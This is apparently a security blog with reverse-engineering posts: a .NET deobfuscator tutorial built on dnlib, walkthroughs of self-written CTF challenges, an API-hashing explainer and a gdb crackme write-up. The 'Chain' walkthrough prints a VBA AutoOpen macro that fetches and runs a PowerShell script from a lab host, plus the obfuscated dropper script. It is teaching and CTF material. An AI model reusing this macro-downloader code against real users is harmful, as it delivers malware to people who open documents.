18 Nov 2019

Introduction

When a threat actor wishes to circumvent analysis from a reverse engineering standpoint, a common technique utilised by the attackers is to obfuscate their malicious code. This can be done in several ways and may include control flow obfuscation (making the flow of the program confusing, random jumps..), string obfuscation (not having text in plain sight, may be encrypted, encoded..), junk code (pointless code which does nothing, merely a way to confuse analysts), object renaming (renaming objects within the code from their original, e.g. MainService may become OQuXiqmXq throughout the code). To get around this, you can create your own tooling to deobfuscate binaries and strip them of these circumventions automatically. This is easier to achieve when managed code is involved as they’re typically much more comfortable to manipulate, for .NET we’ve got dnlib, and for Java, we have ASM.

The abovementioned libraries make it much easier to manipulate and change executables, in this post we’ll be writing a simple .NET deobfuscator using dnlib against a prolific RAT (“Remote Administration Tool”) - this can easily be extended and changed to suit your needs based on the challenges you face with a specific managed executable. I have mimicked the protections which we’d see in this RAT for the purpose of this writeup.

By the end of this, we’ll have a working deobfuscator which will strip some of the protections that the attacker has applied to the .NET assembly.

The steps we’ll take

Everyone loves diagrams, right? This is a basic breakdown of the process we’ll take to achieve deobfuscation.

Initial static code analysis

Taking a look at the executable, it employs an extremely basic class, and method obfuscation technique of using a randomly generated 10 character string prepended to all of the declarations. The strings are obfuscated strangely, containing a ‘|’ character they’re split by using the main string used throughout - so we’ll have to do some instruction patching too to get rid of this and split it ourselves. You can download the executable from here that we’re going to use as an example - please note, it’s just full of useless code.

Using dnSpy, we can easily open the binary and recover the source code from the .NET assembly. If you’ve not already got dnSpy, you can get it from here. Opening it in dnSpy, we see the following structure:

As previously mentioned, I’ve created the scenario where the module name is prepended as a way for obfuscation. Looking at one of these classes deeper, we can see the other obfuscation techniques that were mentioned:

We can see all of the methods within the above class have the string appended to them, along with the strings within the binary being split by the | character.

Writing the deobfuscator

You’ll need to install dnlib, the easiest way to achieve this is using Nuget which is within Visual Studio (Projects -> Add Nuget Package -> Browse). We’ll create a Console Application, using C# as our language choice and create a basic skeleton in which a user can pass in an input assembly and output one.

Our basic process is going to be:

  • Grab the encoded string based on the PE timestamp
  • Rename all of the classes back to their original
  • Rename all of the methods within the classes back to their original names

Let’s start by creating a new console C# project in Visual Studio, import the namespaces we need, and make a basic boilerplate for passing in two arguments. The first argument being the executable we want to deobfuscate, and the second the path we want to output to.

using System;
using dnlib.DotNet;
using dnlib.DotNet.Emit;

Next, let’s get to using dnlib. We’ll want to pass in our path to the library as a module, an executable, and attempt to load it. As seen in the initial static analysis stage, the module name is AfmAcgnNGYtN9H. So, we’ll gather the assembly name at the same time. Where fullPath is the variable name of the path to the executable.

var module = ModuleDefMd.Load(fullPath);
if (module == null)
{
    return;
}

string moduleName = module.Assembly.Name;

We can then call the GetTypes to get a collection of all of the types that exist in the module, this will return classes, functions, body of functions and more. As we saw in the static analysis of the executable, all of the classes and methods had the unique string prepended to them, along with the string obfuscation being present within some of these methods. We’ll start by simply renaming all of the ‘types’ (classes, methods, etc.) back to their original, human-readable name.

What’s beautiful about dnlib is that it’ll automatically rename the method across the entire assembly, so we don’t need to cross-reference calls to it and manually change everything.

foreach (var type in module.GetTypes())
{
    if (type.Name.Contains(moduleName)) // does our method name contain the bad string?
    {
        method.Name = Method.Name.Replace(moduleName, string.Empty); // replace with nothing
    }
    ...

After this, all of the methods will now be renamed like so:

AfmAcgnNGYtN9HGetCount -> Functionality
AfmAcgnNGYtN9HBadServer -> BadServer
..and so on

That part was relatively easy, right? Let’s move onto removing the string obfuscation which is contained within the binary. As abovementioned, all of the obfuscation when it comes to strings looks like this:

string realString = "Hello world!|AfmAcgnNGYtN9H".Split('|')[0];

We’ll need to edit the assembly manually, finding the Common Intermediate Language (“CIL”) instructions that are responsible and remove them. When a string is concerned, the ldstr OpCode is used with the first and only operand being the string we want to load. We can further look at this in dnSpy, if we select Edit IL assembly within the method body. For example, this function here:

private static string AfmAcgnNGYtN9HMalicious()
{
	return "This is a bad string|AfmAcgnNGYtN9H".Split(new char[]
	{
		'|'
	})[0];
}

Will look like this in CIL operations when we disassemble it:

We’ll want to keep the original string which is This is a bad string - we’ll achieve this by splitting the string ourselves and NOP’ing out the rest of the string splitting. When we NOP something, we’re effectively telling the Common Language Runtime (“CLR”) to do nothing. As a resource for a complete list of instructions that’re implemented, you can find them here.

We’ll want to NOP the next 9 sets of opcodes after the ldstr instruction when we find it in the body of a method to produce something like this:

Which, in actual code terms, produces this:

private static string AfmAcgnNGYtN9HBadServer()
{
	return "This is a bad string";
}

So, going back into writing the obfuscator - we’ll want to keep in the loop where we’re going through each type however add a new one within it. After this, we’ll go each method and check if it has a body (code), then continue to iterate over each of the instructions within there until we find an ldstr instruction. To verify the string has been obfuscated, we’ll then check if it’s being split by the predefined string (AfmAcgnNGYtN9H) and remove the splitting logic.

...
foreach (var method in type.Methods)
{
    if (!method.HasBody) // does the method contain code?
    {
        continue;
    }

    for (int i = 0; i < method.Body.Instructions.Count; i++)
    {
        if (method.Body.Instructions[i].OpCode != OpCodes.Ldstr)
        {
            continue;
        }

        string originalStr = method.Body.Instructions[i].Operand.ToString();
        if (string.IsNullOrEmpty(originalStr))
        {
            continue; // for some reason, we can't recover the string. Let's keep going.
        }

        // split by the garbage that's added
        string[] parts = originalStr.Split("|AfmAcgnNGYtN9H");

        // check the garbage is there
        if (parts.Len != 2)
        {
            continue;
        }

        // ok, we've found a bad string, lets change our old one over to our recovered string
        method.Body.Instructions.Insert(i, new Instruction(OpCodes.Ldstr, parts[0]));

        // now, lets remove the next 9 set of opcodes and replace with them a NOP
        for (int j = 0; j < 9; j++)
        {
            method.Body.Instructions[i + j] = OpCodes.Nop;
        }

        // increment our opcode counter
        i += 9;
    }
}

Finally, we’ll want to write the modified assembly back to an executable (where outPath is our path we want to write to). This will save all of our changes we’ve made.

module.Write(outPath);

We now have a deobfuscated binary. You can easily do much, much more with dnSpy - I thought I’d create this for those wondering where to start.

Conclusion

The library we’re using, dnlib, is extremely powerful and easy to use. Although de4dot is extensive in its deobfuscation efforts you may wish to do something further with deobfuscation. Anyway, I hope by reading this you learnt something. For now, ciao!

If you’ve got any questions, feel free to email me: [email protected]

obfuscation malware re dnlib analysis

02 May 2019

Introduction

This year for ENUSEC’s LTDH (“Le Tour Du Hack”) I was tasked with writing the reverse engineering challenges needed for the CTF aspect of the event. Last year I also wrote the reverse engineering challenges which were used, so built on the feedback that I received. However, this year I attempted to make the challenges a bit easier to capture the interest of contestants that were new to the field. If you’ve got any questions feel free to pop me a message on Twitter @LloydLabs or e-mail [email protected].

Go Fetch

I’m going to be using IDA for this writeup in conjunction with the Golang helper plugin which can be found here. We’re also given a file named fetch.dat to solve this challenge along with the executable. We can see main_main which is obviously the entry point. If we run the application we get this:

ENUMEME - Enter a string to be superly hidden using a top secret routine:

Ok, so it’s asking for user input. By looks of the message printed it seems as if it’ll possibly encrypt or encode a string in one way or another. Just for the sake of this walkthrough I’m going to reference the IDA pseudocode output (to get this view from graph or inline view, press F5) as the Golang compiler adds a lot of instructions for the runtime’s sake.

For reverse engineering reference, when we import a Go package when developing an application, and a method is called within that package (for example, fmt.Printf), the exported method will look something like: <package>_method in the binary’s function table. For example, fmt.Printf would look like fmt_Printf in disassembly. The variables passed on the left are internally used by Go. In the decompiled pseudocode view we can see our call which prints the following to the console:

fmt_Printf(a1, a2, a3, v6, a5, a6, (__int64)aEnumemeEnterAS, 73LL); aEnumemeEnterAS -> ENUMEME - Enter a string to be superly hidden using a top secret routine:

Then, we can see this input being read from STDIN:

bufio___Reader__ReadString((__int64)&v42, (unsigned __int64)&v35, v13, v14, v15, v16, (__int64)&v41);

The variable v42 is our output which has been read from STDIN, for analysis sake we’re going to change the name of this variable within IDA by pressing n whilst the variable is selected and changing the name to encrypted_string_input. We can then see this being fed into a method named encode within the main package. It seems as if we’re calling an instance of FetchCtx within main and calling Encode from it:

main___FetchCtx__Encode(
    (__int64)&encrypted_string_input,
    (__int64)&v35,
    (__int64)&v30,
    v27.m256i_i64[1],
    v17,
    v18,
    (__int64)&v30,
    v27.m256i_i64[1],
    v27.m256i_i64[2]);

In Go, the prototype for Encode will look something like this:

func (ctx *FetchCtx) Encode(data string) []byte

Let’s take a look at the encode routine. Upon inspection, an instance of zlib.NewWriter is created, then the input (in this case, our encrypted string) is compressed, as observed here:

compress_zlib___Writer__Write(a1, a2, *(__int64 *)&v44[32], v14, v15);
compress_zlib___Writer__Close(a1, a2, v16);

An instance of aes.NewCipher is then created, through taking a look at the Go documentation for this function it seems as if we input a byte array as the input which is the key. You can view the documentation for the aes library here. Let’s take a look at the generated pseudocode again:

runtime_stringtoslicebyte(a1, byte_arr_key, v20, i, v15, v16);
*((_QWORD *)&v24 + 1) = *((_QWORD *)&v35 + 1);
*(_QWORD *)&v24 = v35;
v33 = v35;
crypto_aes_NewCipher(a1, byte_arr_key, v24, v25);

The Go runtime converts a string to a byte array internally using the runtime_stringtoslicebyte. In Go, this looks something like: byteArr := []byte("syscall.party"). We can see that an array of bytes at 0x4DA5A4 is being converted. For analysis sake, lets go and rename dword_4DA5A4 to byte_arr_key.

lea     rax, dword_4DA5A4
mov     qword ptr [rsp+108h+var_108+8], rax
mov     qword ptr [rsp+108h+var_108+10h], 10h
call    runtime_stringtoslicebyte

We know this is a string, so let’s press R in IDA and select the bytes, this will convert it to the character equivalents:

Great. If it’s strange to you that this is not null terminated, this is the way that Go stores strings for optimisation purposes (if it’s small enough) - plus, internal methods will always pass the length of a buffer, meaning no need for a null terminator. We then need to reverse the order as it’s in little endian, this is when the byte order is essentially “flipped”. For example, “flipped” would become deppilf. After converting it from little endina, this then gives us a string of DER_DIE_ODER_DAS - a German phrase. So, we’ve recovered our encryption key, what’s next? We need to find the nonce that’s being used in the decryption, we can see seal is being called on our Cipher context.

We can then see main_statictmp_0 within the binary indicating an array of bytes. This is the way that Go stores static data within binaries. Let’s export this data, we can do this by highlighting the bytes then doing SHIFT + E which gives us this:

01 02 03 04 05 06 07 09 10 11 12

Ok, so this is our nonce. This would look something like this in Go:

nonce := []bytes{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}

Let’s now recap on what we’ve observed so far being done. It’s compressing the data using zlib, encrypting the data using AES with a key of DER_DIE_ODER_DAS and a nonce of 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12.

What about the file, fetch.dat we were given at the start? Taking a look at the content in HxD we can see it looks like simply a collection of random bytes which have no purpose, nor identifiers such as file magic:

Could this file of have been encrypted using this algorithm? Let’s find out, all we need to do is the reverse of what the algorithm above does. So let’s load the file in, decrypt it, then decompress it. We can do this in any programming language of our choice.

  1. Load the target file
  2. Decrypt the target file using the found parameters above
  3. Decompress the target file using standard zlib parameters
  4. Profit???

After following our desried methodology we’ve developed, the flag renders as:

ltdh{99754106633f94d350db34d548d6091a}


Secrecy

This challenge had the theme of a GCHQ “secure” login portal, with inputs for username and password. We can identify that it’s a .NET executable by simply throwing it into DiE which aids in identifying packers, compilers and languages used - I highly recommend you add it to your toolset if you’ve not got it already!

In order to decompile the .NET binary from CIL bytecode to readable sourcecode we’re going to use dnSpy - a great .NET disassembler, debugger and editor. Open the target file we’re looking at in dnSpy via the menu pane File -> Open - the assembly then will appear in the left hand menu view.

When a user wishes to login and clicks the Login button, the button1_click event handler is triggered:

private void button1_Click(object sender, EventArgs e)
{
  if (new Login(this.textBox1.Text, this.textBox2.Text).Verify())
  {
    Clipboard.SetText(Carrots.Decrypt());
    this.toolStripStatusLabel1.Text = "Status: OK login - copied flag to clipboard!";
    return;
  }
  this.toolStripStatusLabel1.Text = "Status: Bad login!";
}

We can see that to verify that our input login credentials are correct in some way or another, the Login class is called within the event handler - with the username and password as the respected inputs. Then, if the login is OK the method Decrypt will be called on the class Carrots with the output being copied to the current user’s clipboard. Let’s take a look at the Carrots class.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Secure_Login
{
	public static class Carrots
	{
		public static string Decrypt()
		{
			string result = "";
			byte[] array = Convert.FromBase64String("dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==");
			using (Aes aes = Aes.Create())
			{
				Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("HALLO_HANS_DU_HUND", new byte[]
				{
					73,
					118,
					97,
					110,
					32,
					77,
					101,
					100,
					118,
					101,
					100,
					101,
					118
				});
				aes.Key = rfc2898DeriveBytes.GetBytes(32);
				aes.IV = rfc2898DeriveBytes.GetBytes(16);
				using (MemoryStream memoryStream = new MemoryStream())
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
					{
						cryptoStream.Write(array, 0, array.Length);
						cryptoStream.Close();
					}
					result = Encoding.Unicode.GetString(memoryStream.ToArray());
				}
			}
			return result;
		}

		private const string 我们必须飞向月球并返回 = "dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==";
	}
}

It seems to be a routine which uses the native Aes wrapper for .NET using the key HALLO_HANS_DU_HUND (this can be observed being passed to Rfc2898DeriveBytes). The class is also obfuscated to a small extent to try and trick any budding CTF player. We can also see that the base64 string under the variable 我们必须飞向月球并返回 is set to be decrypted with this seen key. So, what could we do from here? We could extract this decompiled code from the binary and decrypt the flag ourselves using it, however we could look further into the program without going this far.

public bool Verify()
{
  string a = this.HashPassword();
  foreach (KeyValuePair<string, string> keyValuePair in AuthenticationPairs.logins)
  {
    if (this.username == keyValuePair.Key && a == keyValuePair.Value)
    {
      return true;
    }
  }
  return false;
}

The password input field is hashed with MD5 then compares it against a list of valid logins in the AuthenticationPairs static class. The implementation of this class is small and simply compares the username and password against a Dictionary<...> defined in the AuthenticationPairs class. Let’s take a look at the definition of logins.

internal static class AuthenticationPairs
{
  public static Dictionary<string, string> logins = new Dictionary<string, string>
  {
    {
      "Churchhill",
      "4ca9d3dcd2b6843e62d75eb191887cf2"
    },
    {
      "GCHQ-Admin",
      "cde2fde1fa1551a704d775ce2315915d"
    }
  };
}

Nice, we’ve got username and hash pairs. A quick lookup of the MD5 hash 4ca9d3dcd2b6843e62d75eb191887cf2 returns war. On submission, we get told by the program that the password is correct. The flag is copied to the clipboard as: ltdh{ouch_that_was_easy}

Zeucquences

Again, we’ve got a .NET executable. However, this time it is a lot more obfuscated with junk code, variable name obfuscation using random Unicode characters and method obfuscation. We can see in Main what’s being done:

private static void Main(string[] args)
{
	象会典光県思分.漂亮的裤子("Give me a sequence to unlock the magic string - ✧・゚: *✧・゚:*");
	foreach (KeyValuePair<char, bool> keyValuePair in Program.者港本転l軽事楽確表陸情囲അവരസകരമ\u0D3Eണ\u0D4D英移量開o象会典光県思分代国l間玉間)
	{
		象会典光県思分.鞋子真漂亮("What's your input?: ");
		if (象会典光県思分.漂亮的眼睛()[0] != keyValuePair.Key - '\u0001')
		{
			象会典光県思分.漂亮的裤子("Wrong input!");
			象会典光県思分.漂亮的眼睛();
			Environment.Exit(1);
		}
	}
	象会典光県思分.漂亮的裤子("Way! Nice one!");
	Console.WriteLine(为什么编程对某些人来说如此困难.你好我的名字是().ToString());
	象会典光県思分.漂亮的眼睛();
}

What’re these weird methods being called? Let’s take a look at 象会典光県思分.漂亮的裤子. It seems to be a class that simply proxies to other methods, for example 象会典光県思分.漂亮的裤子 will simply proxy to Console.Write. We can also see that Way! Nice one! is printed after this loop to show that after a sequence of successful inputs feedback is given to the user. A method is then called, then converted to a string. Let’s take a look at that method:

public static string 你好我的名字是()
{
	int num = 1337;
	ulong num2 = 60378UL;
	if ((num2 & 221UL) == 4095UL)
	{
		ulong num3;
		ulong num4;
		do
		{
			num3 = num2 >> 2;
			num4 = num2;
			num2 = num4 - 1UL;
		}
		while (num3 != num4);
	}
	num -= num;
	num ^= num;
	char[] array = 象会典光県思分.楽確表陸情(象会典光県思分.那很容易(Resources.QPOopXopkQopkAxkpoKSpokAPOkPOAKopQ139AjAkXnZXnQjkAQKXjnSXkQAlAXjnasdowqeiqAiQiuAoplXnOJWQoiJEWjoiAScxnasdpQiowEoiJNNasfdJHOoihAFpAISFjhoiwr)).ToCharArray();
	for (int i = num; i < array.Length; i++)
	{
		array[i] = 象会典光県思分.門選宅柴京調比月級術目残(array[i]);
	}
	return new string(array);
}

This seems to reference a resource within the binary, and does some maths which don’t have any effect on the main operations - simply just there to obfuscate the program even further. It then seems to build a string array, weird. Let’s continue and see if there’s an easier way to solve this challenge rather than looking at this semi-obfuscated method.

We can see that the function enumerates over a dictionary, asks for input, gets the first character of that input and then compares the input to the value that was enumerated over to char(val - 1). So, we need to input the characters in the order that they are in the dictionary: o, a, m, p, 0, 4, 1, A, M, c. We then minus 1. This then means we have to input: n,```,l, o, /, 3, 0, @, L, b` in order. Here we can see the output when we input this sequence of characters:

Give me a sequence to unlock the magic string - ???: *???:*
What's your input?: n
What's your input?: `
What's your input?: l
What's your input?: o
What's your input?: /
What's your input?: 3
What's your input?: 0
What's your input?: @
What's your input?: L
What's your input?: b
Way! Nice one!
ltdh{what_a_meme}

The flag is ltdh{what_a_meme}.

Chain

I wanted to make this challenge as if a maldoc (“malware document”) had been presented. We’re given the file cv_view_open.docx, upon opening it we’re presented with this malformed Word document:

It seems to use a social engineering method to get the user to enable macros on the document, showing a CV (“curriculum vitae”) that appears as if it’s corrupted. It then prompts the user to enable macros, let’s take a look at the macros that they’re trying to execute. We’re going to use olevba which will extract the macros from a Microsoft Office document. If you already have Python’s package manager pip installed can install it by running pip install -U oletools, otherwise find a reference to install Python. To view the embedded macros we could also simply use the Developer tab in Word, I prefer to use oletools though. This gives us an output of:

Sub ITS_LEGIT_I_SWEAR()
    Dim xHttp
    Dim bStrm
    Dim filename
    
    Set xHttp = CreateObject("Microsoft.XMLHTTP")
    xHttp.Open "GET", "http://10.42.2.19/drop.ps1", False
    xHttp.Send
    
    Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")
    
    filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())
    
    gobjBinaryOutputStream.Type = 1
    gobjBinaryOutputStream.Open
    gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
    gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
    gobjBinaryOutputStream.write xHttp.responseBody
    gobjBinaryOutputStream.savetofile filename, 2
    
    SetAttr filename, vbReadOnly + vbHidden + vbSystem
    Shell (filename)

End Sub

Sub AutoOpen()
    ITS_LEGIT_I_SWEAR
End Sub

The AutoOpen method in Office macros is called whenever, a document is opened. We can see that ITS_LEGIT_I_SWEAR is then called which downloads a file from http://10.42.2.19/drop.ps1 which is a PowerShell script as-per the extension, then drops it into C:\Temp - a pretty lame downloader. Let’s look at the PowerShell script:

 . ( $pshoMe[4]+$PsHOme[30]+'X')( (("{39}{32}{7}{17}{37}{16}{27}{6}{40}{1}{21}{10}{4}{24}{19}{34}{29}{36}{26}{2}{8}{5}{23}{13}{35}{22}{31}{0}{28}{3}{25}{38}{15}{9}{11}{14}{18}{30}{12}{20}{33}" -f ') wLJ+wLJ{
    wLJ+wLJ    oMOdewLJ+wLJcwLJ+wLJrywLJ+wLJptewLJ','=wLJ+wLJ [SywLJ+wL','ng(oMwLJ+wLJOdawLJ+wLJta)wLJ+wLJ
wLJ+wLJ
    oMwLJ+wLJOdwLJ+wLJewLJ+wLJcryptedwLJ+wLJ wLJ+wLJ= wLJ+wL','wLJrypwLJ+wLJted[oMwLJ+wLJOiwLJ+wLJ] -bxor 0xF
wLJ+wLJ  wLJ+w','LJetBytewLJ+wLJs(kwLJ+wLJ4wLJ+wLJIwLJ+wLJWAS_ZUM_HwLJ+wLJOFFEwLJ+wLJ_HANw','wLJ+','LJ+wLJMwLJ+wLJOda','(wLJ+wLJ
wLJ+wLJ       wLJ+wLJ[PwLJ+wLJarameter(Man','[email protected]()wLJ+wLJ

    for wLJ+wLJ(wLJ+wLJoMOiwLJ+wLJ = ','J+wLJ.Tex','LJ+wLJnwLJ+wLJcodwLJ+wLJinwLJ+wLJg]:wLJ+wLJ:UTFwLJ+wLJ8.wLJ+wLJGwLJ+w','t.EncodwLJ+wLJinwLJ+wLJg]:wLJ+','wLJ}wLJ).rePLace(wLJk4IwLJ,[Stri','encrwLJ+wLJ','wLJ:wLJ+wLJUTF8.GwLJ+wLJetwLJ+wLJSwLJ+wLJtrwL','LJmwL','rwLJ','datwLJ+wLJory)][stwLJ','J+wLJing(owLJ+wLJMOdecr','wLJ+wLJ

wLJ+wLJ   wLJ','ng][ChAR]34).rePLace(wLJoMOwLJ,[Strin','Jstem.wLJ+wLJText.Ew','LJ+wLJhwLJ+wLJ; owLJ+wLJMOi+','wLJ0;wLJ+wLJ wLJ+wLJoMOi -lt oMO','LJ+wLJSk4I)','LJ wLJ+wLJ }
wLJ+wLJ
    [SwLJ+wLJyswLJ+wLJtwLJ+w','LJ+wLJromwLJ+wLJBase64wLJ+wLJStri','+wLJing]wLJ+wLJow','+wLJd += oMwLJ+wLJOenwLJ+wLJcwLJ+','ted = [System.CowLJ+wLJnwLJ+wLJvewLJ+wLJrt]::F','ypted)
wLJ+','+','J+wLJ {param','g][ChAR]36) G1H& ( hdtVerBOsEpReFerencE.TOsTRINg()[1,3]+wLJXwLJ-JoinwLJwLJ)','+wLJ wLJ+wLJoMwLJ+wLJOenwLJ+wLJcrwLJ+wLJypwLJ+wLJ','ywLJ+wLJptewLJ+wLJdwLJ+wLJ.Lengtw','w','+wLJ','LJewLJ+w','(wLJfunwLJ+wLJction Get-Crypt-LwLJ+wLJadwL','tawLJ+wLJ
  wLJ+wLJ  )

  wLJ+wLJ wLJ+wLJ oMOwLJ+wLJkeywLJ+wLJ ')).rEplacE('hdt','$').rEplacE(([ChaR]71+[ChaR]49+[ChaR]72),'|').rEplacE('wLJ',[sTRIng][ChaR]39) )

# TODO: Y3trZ3RgYmhQeGdue1BgYVBqbn17Z3I=

This seems to be an obfuscated PowerShell script, however we can see a comment at the bottom which is an encoded string. We can make out certain strings such as -bxor 0xF and Base64 within. This can be seen in the following excerpt:

-bxor 0xF

Hm, so we’ve got a base64 encoded string, we can see that an XOR operation is involved. Let’s decode the string, then decrypt using 0xF as the key. For this, I’d recommend using CyberChef made by GCHQ. You can see the recipe that I used here.

Nice! This then yields the flag:

ltdh{omg_what_on_earth}


Conclusion

I tried to make these challenges as realistic and interesting as possible to captivate the interest of people who might be new to reverse engineering. However, to test the skills of people who are well-versed in the subject too. Big thanks to CuPcakeN1njA (Charlie) for setting up the CTF and ensuring it ran smoothly!

re ida golang maldoc

02 Jun 2018

Windows API resolution via hashing

Although this method of API obfuscation is relatively old, my friend who was wanting to increase his skills in the Windows sphere confronted me about a way a few malware families seem to resolve APIs. It’s pretty simple, however he could not find any documentation with a solid programming example on the matter at the time, so I thought I’d quickly write something up regarding it. I was going to write my own loader for this example (loading the desired module via LdrLoadDll within kernel32.dll, walking the InMemoryOrderModuleList to find the desired loaded module, finding the exported function we’re after within the EAT..) - however I thought this might of have been a bit overkill for such a simple concept, I want to cover writing your own PE loader in the future though as it’s an interesting subject.

If you’re not familiar with the PE format, take a look at this diagram from Microsoft - it outlines the way in which the table is structured. When EAT is mentioned, we’re referring to the export address table.

EAT diagram

So, every DLL in theory should have an export table where the functions that it implements are exposed to the loader - in order for an application for example to use one of the exported functions. This information resides in the EAT (export address table).

When you traditionally compile an executable and implicitly use for example MessageBox, the compiler will add this to this to the IAT, this will contain the module (DLL) that the symbol resides in too.

But, we’re talking about obfuscation here right? What if someone doesn’t want an analyst to see this in the export table? This is where obfuscated resolution comes in. At runtime, we can load these functions on the fly given a name - meaning they won’t reside in this pesky IAT thus making it harder to analyse (kinda ;)).

This is now how API hashing works, API hashing is when we walk a given module’s EAT looking for the name of a symbol which matches our hash we computed for it earlier. Once we get the address, we can freely use a function pointer and use the API just as normal.

In my example, I’ve decided not to use a cryptographically safe hashing routine as we just want a hashing algorithm which isn’t too computationally expensive and fast, but at the same time produces unique enough results. I’ve chosen to use SuperFastHash created by Paul Hsieh. Again, this is a trivial example of how API hashing is used in the real world, it’s not meant to be a complex example!

The code for this can be found on my Github here.

windows internal PE

12 Mar 2018

Regime walkthrough

Summary

This was the 2nd reverse engineering challenge I wrote and was meant to be an entry-level one for ENUSEC’s “Le Tour Du Hack”, and was worth 150 points. A file named login was given to the contestant. It had four solves in total.

I’ll be using gdb-peda and IDA free in this writeup. They’re both free.

Jumping in..

If we run the UNIX utility file on the binary we get this return:

login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, not stripped

We can now see its not stripped, meaning we’ll have meaningful symbols within the binary we can relate to and that its 32 bit. Running the binary gave us a prompt where we’d have to input a password.

alt text

Ok, we can now conclude that it’s comparing our input (a string), to another input within the binary. We can assume its using strcmp, or strncmp (the safer version of strcmp). Lets take a look at it in IDA.

alt text

Looking at it in IDA, we can see a subroutine called login_show_splashscreen. Lets check it out.

alt text

Oh, ok. It’s just showing the console stuff. We can ignore this. If we go down to where we’re recieving input, this is where the password is compared so we’re interested more in this logic than anything else. We can see fgets is called, this is obviously being used to gather input from stdin (your console). Ok, now we see login_check_password, we’re passing eax to this method which is obviously the password. We can see that theres a “Welcome” message too if the password is correct, great! Lets go check this out!

alt text

Lets look at login_check_password. At the start of login_check_password it seems to be deriving different bytes from 0xDEADBABE. If we then look to another node, we can see these are referenced in some type of XOR loop where the length of our input is used (we can see a call to strlen, in x86 the result of a call will be placed in eax). Ok, so basically its now unlocking the encrypted password.

alt text

We can just ignore this routine though, its irrelevant. The strncmp we can see has to see the “cleartext” (decrypted) password some time, right? We can see theres a call to strncmp, this is obviously comparing OUR password with the DECRYPTED password.

Lets open the binary in gdb and put a breakpoint on strncmp, this way we can see whats being passed to it. Run gdb login to open it in gdb. Now, we’ll proceed to put a breakpooint on strncmp. A breakpoint is when the debugger will pause execution at a certain point. We want to stop at where our password is compared, so break strncmp or b strncmp. b is an alias for break in gdb.

Now type run or r. This will start the program. Once its loaded, input a dummy password. We should then break on strncmp where our input is compared.

alt text

We’ve input dummy_pw in this example, we can now see that its hit the breakpoint and gdb-peda has shown us the stack. In x86 with GCC, by default all of the parameters are pushed onto the stack for libc functions (C functions) unless another calling convention is used. We can see that the second parameter on the stack:

0008| 0xffffced4 --> 0xffffcefc ("enusec{lemmein}")

is here, we could also access this in GDB by printing (simply print) the location of $esp + 8 where the breakpoint is sat. Our password we input is at $esp + 4, as sizeof(WORD) in x86 is 4 - hence all addresses are 4 bytes wide (32 bits). We could also just simply do: x/s *0xffffced4 as we can see that 0xffffced4 is the address of the second parameter.

tl;dr

gdb login
b strncmp
r
# enusec{lemmein}
writeup trivial